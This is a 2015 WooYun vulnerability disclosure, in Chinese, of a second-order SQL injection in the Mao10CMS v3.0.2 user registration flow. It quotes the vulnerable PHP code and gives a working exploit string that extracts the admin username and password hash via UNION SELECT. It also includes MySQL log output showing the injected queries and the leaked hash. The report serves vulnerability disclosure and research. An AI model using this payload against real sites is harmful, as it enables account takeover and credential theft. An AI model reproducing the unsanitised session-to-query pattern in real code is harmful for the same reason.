当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090196

漏洞标题:Mao10CMS v3.0.2 一处有趣的sql注入。

相关厂商:mao10.com

漏洞作者: roker

提交时间:2015-01-08 19:50

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-08: 细节已通知厂商并且等待厂商处理中
2015-01-08: 厂商已经确认,细节仅向厂商公开
2015-01-11: 细节向第三方安全合作伙伴开放
2015-03-04: 细节向核心白帽子及相关领域专家公开
2015-03-14: 细节向普通白帽子公开
2015-03-24: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

rt

详细说明:

用户注册处。

public function submit(){
$ip_false = M('option')->where("meta_key='ip_false' AND type='user'")->getField('meta_value',true);
if($ip_false && in_array(mc_user_ip(), $ip_false)) {
$this->error('您的IP被永久禁止登陆!');
} else {
if(empty($_POST['user_name'])) {
$this->error('账号必须填写!');
} else {
$user_login = M('meta')->where("meta_key='user_name' AND type ='user'")->getField('meta_value',true);
if(in_array(strip_tags($_POST['user_name']), $user_login)) {
$this->error('账号已存在!');
}
};
if(empty($_POST['user_email'])) {
$this->error('邮箱必须填写!');
} else {
$user_email = M('meta')->where("meta_key='user_email' AND type ='user'")->getField('meta_value',true);
if(in_array(strip_tags($_POST['user_email']), $user_email)) {
$this->error('邮箱已存在!');
}
};
if(empty($_POST['user_pass'])) {
$this->error('密码必须填写!');
};
if($_POST['user_pass']!=$_POST['user_pass2']) {
$this->error('两次密码必须一致!');
};
$user['title'] = I('param.user_name');
$user['content'] = '';
$user['type'] = 'user';
$user['date'] = strtotime("now");
$result = M("page")->data($user)->add();
if($result) {
mc_add_meta($result,'user_name',I('param.user_name'),'user');
$user_pass = md5(I('param.user_pass').mc_option('site_key'));
mc_add_meta($result,'user_pass',$user_pass,'user');
mc_add_meta($result,'user_email',I('param.user_email'),'user');
mc_add_meta($result,'user_level','1','user');
session('user_name',I('param.user_name'));
session('user_pass',$user_pass);
$ip_array = M('action')->where("page_id='".mc_user_id()."' AND action_key='ip'")->getField('action_value',true);
if($ip_array && in_array(mc_user_ip(), $ip_array)) {

} else {
if(!mc_is_admin()) {
mc_add_action(mc_user_id(),'ip',mc_user_ip());
};
};
if($_POST['comefrom']) {
$this->success('注册成功',$_POST['comefrom']);
} else {
$this->success('注册成功',U('user/index/edit?id='.mc_user_id()));
}
} else {
$this->error('注册失败');
}
}
}
}


当用户名带入单引号时,虽然添加用户进入数据库时做了转义,但是赋值于session时又被带入了
session('user_name',I('param.user_name'));
然后我们来看看这个函数mc_user_id()
/Application/Common/Common/function.php

function mc_user_id() {
$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".session('user_name')."' AND type='user'")->getField('page_id');
$user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');
if(session('user_name') && session('user_pass') && session('user_pass') == $user_pass_true) {
return $page_id;
}
}


这就到了这个漏洞比较有意思的地方了、由于不能报错 所以我们得让数据出现在$page_id。(延时太过麻烦 至少得注册几百个账户。。所以就不考虑了) 现在 session('user_name')是我们所能控制的,且能带入单引号。
我们要让这个 $page_id 包含管理员的账户密码,同时也能通过mc_get_meta($page_id,'user_pass',true,'user'); 返回出正确的密码。同时 $page_id是由我们所能控制的user_name 通过 M('meta')->where("meta_key='user_name' AND meta_value='".session('user_name')."' AND type='user'")->getField('page_id');返回的。听起来有点绕口~
直接看利用代码和mysql日志吧~
exp:

' or meta_value%3D'admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\' or page_id=\'14')%23

(14是 注册id。先注册一个获取id。注入时在这个id加上1即可)

1.jpg


首先添加账户进入数据库时是没问题的。做了转义

INSERT INTO `mc_page` (`title`,`content`,`type`,`date`) VALUES ('\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','','user',1420485430)
397 Query INSERT INTO `mc_meta` (`page_id`,`meta_key`,`meta_value`,`type`) VALUES (14,'user_name','\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','user')


然后 带入 mc_user_id()函数时

$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".session('user_name')."' AND type='user'")->getField('page_id');


SELECT `page_id` FROM `mc_meta` WHERE ( meta_key='user_name' AND meta_value='' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\' or page_id=\'14')#' AND type='user' ) LIMIT 1

此时 我们的$page_id 将返回

admin\0d4c7cf4fa2ab6685251d746a8f8564c' or page_id='14


然后 $user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');

397 Query	SELECT `meta_value` FROM `mc_meta` WHERE ( page_id='admin\0d4c7cf4fa2ab6685251d746a8f8564c' or page_id='14' AND meta_key='user_pass' AND type ='user' ) LIMIT 1

此时 返回的user_pass 就等于 我们session所对应的user_pass了。于是 将数据

admin\0d4c7cf4fa2ab6685251d746a8f8564c' or page_id='14

返回 造成了注入

11.jpg

漏洞证明:

如上所述

修复方案:

加强过滤~

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-08 19:55

厂商回复:

感谢指正,存在BUG导致网站可能被注入。

最新状态:

暂无